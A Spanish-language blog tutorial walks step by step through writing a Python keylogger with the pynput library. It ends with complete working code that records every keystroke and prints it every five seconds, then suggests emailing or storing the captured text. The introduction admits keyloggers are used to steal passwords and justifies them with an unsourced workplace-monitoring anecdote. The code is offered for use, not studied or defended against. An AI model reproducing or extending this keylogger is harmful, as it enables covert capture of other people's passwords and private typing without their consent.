Blog
Los Keylogger son programas que nos permiten obtener un registro de los eventos de nuestro teclado, con esto nos referimos a que nos permiten captar las teclas que se pulsan en el teclado de una computadora donde esté corriendo nuestro programa.
Comúnmente los Keylogger son conocidos por usarse para hackear contraseñas y otros datos personales, pero la realidad es que los keylogger también son utilizados para monitorear trabajos en los que se requieran uso de la computadora.
Ejemplo de ello es cuando un soporte técnico en linea en la ciudad de nueva york en el año 2003 utilizó un keylogger en cada una de las computadoras manejadas por sus empleados para monitorear las respuestas de sus trabajadores hacía los clientes, para luego realizar un estudio y crear una estructura más sólida sobre como se debe tratar a un cliente para mantenerlo con la mayor calma posible mientras su problema es resuelto, esta decisión incrementó la confianza de sus clientes hacía la empresa en un 20%, puesto que en su mayoría terminaban quedando satisfechos por el soporte prestado.
Como ya bien sabemos que Python es un lenguaje que sirve para realizar muchísimos programas interesantes, los keylogger también están al alcance en este lenguaje e incluso pueden hacerse más complejos, pero para este artículo estaremos realizando un keylogger con lo básico que realizan.
Los primero que debemos hacer es instalar un paquete de Python que nos permitirá que el proceso sea más sencillo este paquete de llama pynput para instalarlo tipeamos lo siguiente en la terminal
pip install pynput
Una vez instalado entonces vamos a crear un archivo llamado keylogger.py, comencemos por lo básico y conozcamos un poco el código.
# importamos dos librerías de Python a utilizar import pynput.keyboard import threading # Crearemos una variable global llamada eventos eventos = "" class UnipythonKeylogger(): pass
Básicamente esta sería la estructura de nuestro keylogger, necesitaremos hacer uso de pynput.keyboard
para captar el registro de eventos de teclado y threading para realizar tareas asíncronas la cuál en este caso sería la de mostrar el registro cada cierto tiempo.
Luego crearemos el objeto del Keylogger que en este caso yo lo he llamado como “UnipythonKeylogger” pero puedes darle el nombre que mejor te parezca.
Ahora, queda por darle un poco más de forma a nuestro código, para ello hagamos lo siguiente en nuestro objeto keylogger
class UnipythonKeylogger(): # Creamos una propiedad que reciba la tecla que haya presionado el usuario y la imprima por la consola def tecla_usuario(tecla): pass # Otra propiedad para dar el reporte de los eventos ocurridos cada cierto tiempo def reporte(self): pass # Una propiedad que iniciará el objeto una vez sea instanciado def iniciar(self): pass
Fjate que ya tenemos la estructura de nuestro keylogger, la propiedad que identificará cada tecla, luego el reporte de los eventos sucedidos que serán impresos a través de la consola o terminal y una propiedad que dará inicio a nuestro código una vez sea instanciado.
Ahora vamos por partes, comencemos programando la propiedad tecla_usuario
class UnipythonKeylogger(): def tecla_usuario(self, tecla): # Nuestra variable eventos será global para que pueda registrarlos sin ningún tipo de problemas global eventos # Ahora hacemos un try except para sacar los valores que no nos interesan, en este caso la tecla espacio. try: eventos = eventos + str(tecla.char) except: # Si la tecla presionada es la tecla espacio, entonces la sustituimos por " " hará que se cree ese espacio y no un molesto "key.space" if tecla == tecla.space: eventos = eventos + " " # Si se presiona cualquier otra tecla la imprimiremos y la separaremos con un espacio else: eventos = eventos + " " + str(tecla) + " " def reporte(self): pass def iniciar(self): pass
Hasta este punto tenemos nuestra propiedad que registrará los eventos, sigamos programando nuestra propiedad reporte para que se imprima por pantalla los eventos ocurridos cada 5 segundos usando threading para que la ejecución de nuestro código sea menos pesada y tardada.
class UnipythonKeylogger(): def tecla_usuario(self, tecla): global eventos try: eventos = eventos + str(tecla.char) except: if tecla == tecla.space: eventos = eventos + " " else: eventos = eventos + " " + str(tecla) + " " def reporte(self): global eventos # imprimimos los eventos que ya se encuentran en memoria print(eventos) # Vacíamos nuesta variable global de eventos para tomar nuevos eventos eventos = "" # Fijamos la tarea de cada 5 segundos iniciar la propiedad reporte. reporte = threading.Timer(5, self.reporte) # Iniciamos el contador de 5 segundos de la tarea reporte.start() def iniciar(self): pass
Ya tenemos las propiedades tecla_usuario
y reporte
ahora solo resta permitir que nuestro keylogger se inicie una vez se instancie, para ello vamos a programar la propiedad iniciar
class UnipythonKeylogger(): def tecla_usuario(self, tecla): global eventos try: eventos = eventos + str(tecla.char) except: if tecla == tecla.space: eventos = eventos + " " else: eventos = eventos + " " + str(tecla) + " " def reporte(self): global eventos # imprimimos los eventos que ya se encuentran en memoria print(eventos) # Vacíamos nuesta variable global de eventos para tomar nuevos eventos eventos = "" # Fijamos la tarea de cada 5 segundos iniciar la propiedad reporte. reporte = threading.Timer(5, self.reporte) # Iniciamos el contador de 5 segundos de la tarea reporte.start() def iniciar(self): # Hacemos uso de la escucha o registro de teclas con pynput y le decimos que utilice nuestra propiedad tecla_usuario detector_teclas = pynput.keyboard.Listener(on_press=self.tecla_usuario) # Con esta nueva variable que guarda las teclas presionadas, llamaremos también a la propiedad reporte with detector_teclas: self.reporte() # Utilizamos el método .join() para unir las teclas presionadas en una sola linea y no aparezcan por saltos de linea. detector_teclas.join()
En este punto ya nuestro keylogger está apto para registrar los eventos del teclado del usuario, pero para que pueda dar inicio una vez este sea llamado o instanciado debemos crear el constructor __init__
de lo contario tendríamos que instanciar nuestro keylogger como UnipythonKeylogger.iniciar()
y la verdad que desde mi punto de vista se ve bastante mal y poco profesional, así que vamos a crear nuestro constructor
class UnipythonKeylogger(): # Creamos el constructor __init__ el cual llamará al método iniciar def __init__(self): self.iniciar() def tecla_usuario(self,tecla): global eventos try: eventos = eventos + str(tecla.char) except: if tecla == tecla.space: eventos = eventos + " " else: eventos = eventos + " " + str(tecla) + " " def reporte(self): global eventos print(eventos) eventos = "" reporte = threading.Timer(5, self.reporte) reporte.start() def iniciar(self): detector_teclas = pynput.keyboard.Listener(on_press=self.tecla_usuario) with detector_teclas: self.reporte() detector_teclas.join() # Ahora instanciamos nuestro keylogger keylogger = UnipythonKeylogger()
Una vez ejecutamos el código todo lo que se escriba lo estará mostrando por consola, ya luego puedes hacer lo que tu quieras con esa información como enviarla por correo o guardarla en una base de datos o guardarla en un archivo de texto.
Así es como se crea un keylogger con Python a partir de este momento puedes darle un buen uso en donde sea que lo necesites.
muchas gracias, facil y se pueden aprender segun lo esplicado.